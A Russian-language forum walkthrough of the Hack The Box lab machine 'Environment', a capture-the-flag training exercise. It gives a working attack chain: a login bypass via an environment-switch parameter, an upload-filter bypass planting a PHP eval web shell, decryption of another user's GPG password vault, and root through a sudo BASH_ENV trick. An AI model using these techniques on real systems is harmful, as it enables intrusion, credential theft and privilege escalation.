Environment проходим машину на HTB (Linux Medium)

CyberSec RuTOR

Кибербезопасность
Команда форума
Модератор
Сообщения
997
Реакции
1.426

Environment - Linux Medium


В прошлый раз мы начали с прохождения лёгкой машины и как я писал в первой статье, пойдём по нарастающей. Начнем прохождение машины, как всегда, с первичных сканов. Результаты сканирования с помощью Nmap показали только два открытых порта:
Код:
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
|   256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2

80/tcp open  http    syn-ack ttl 63 nginx 1.22.1
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19

Dirsearch выявил доступные страницы, и я решил начать с страницы логина:
1.png


Перехватив форму отправки запроса во время логина с помощью Burp, можно увидеть следующую строку:
Код:
token=(Токен)&password=(Пароль)&remember=(True/False)
Убрав параметр remember, можно вызвать ошибку страницы и увидеть её исходный код:
2.png


Далее необходимо было поискать информацию о том, как можно использовать данную уязвимость.

- Вот на это я наткнулся в первую очередь.

Перехватываем запрос и вставляем следующий параметр на странице логин
а:
Код:
POST /login?--env=preprod HTTP/1.1

После этого мы попадаем на страницу пользователя, где сразу бросается в глаза возможность загрузки файлов.

3.png

После загрузки необходимо обойти простой валидатор, который проверяет, какой файл загружается.

Меняем имя файла, убираем все, что идет после .png, и для проверки пробуем запустить консоль.

Важно добавить еще одну точку после shell.php, чтобы файл стал исполняемым, а не просто отображался на странице.

В итоге конечная версия отправляемого запроса выглядит следующим образом:

Код:
-----------------------------102509143130447136341113206885
Content-Disposition: form-data; name="upload"; filename="image1.php."
Content-Type: image/jpg

GIF89a
<?php eval($_GET["cmd"]);?>

Код:
http://environment.htb/storage/files/image.php?cmd=phpinfo();
Далее проверяем файл, перейдя по ссылке на его хранилище, и выполняем команду:

Далее загружаем туда shell-код и стабилизируем оболочку. Код можно взять здесь:
-

1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. После нажать ctrl+z
4. stty raw -echo; fg

4.png

Просматриваем каталог и находим флаг. Затем открываем директорию backup — возможно, там будет что-то интересное.


Код:
cp -r /home/hish/.gnupg /tmp/gnupg
Перемещаем файл в каталог tmp, так как только там у нас есть права на запись.


Код:
chmod -R 700 /tmp/gnupg
Устанавливаем необходимые права для файла.


Код:
gpg --homedir /tmp/gnupg --list-secret-keys
Просматриваем секретные ключи в директории.


Код:
gpg --homedir /tmp/gnupg --output /tmp/text.txt --decrypt /home/hish/backup/keyvault.gpg
Расшифровываем файл и получаем список паролей. Затем меняем пользователя на hish.

Код:
sudo -l
5.png

Проверяем и смотрим, какие у нас есть права.

Поскольку у нас есть доступ к команде systeminfo, мы просто запустим новую оболочку с правами рута через нее.


Код:
echo 'bash -p' > exploit.sh
chmod +x exploit.sh
sudo BASH_ENV=./exploit.sh /usr/bin/systeminfo
 
ничего не понял, но было интересно :)
 
Огромное спасибо за статью
Сообщение обновлено:

Огромное спасибо за статью
 
Последнее редактирование:

Похожие темы

Итак, сегодня мы разберём машину Nocturnal | Linux easy. После добавления nocturnal.htb в файл /etc/hosts запускаем первый скан. Я использую rustscan, так как он быстрее определяет открытые порты целевой системы. rustscan -a nocturnal.htb -- -A Если вы используете nmap, то первый скан лучше...
Ответы
2
Просмотры
Назад
Сверху Снизу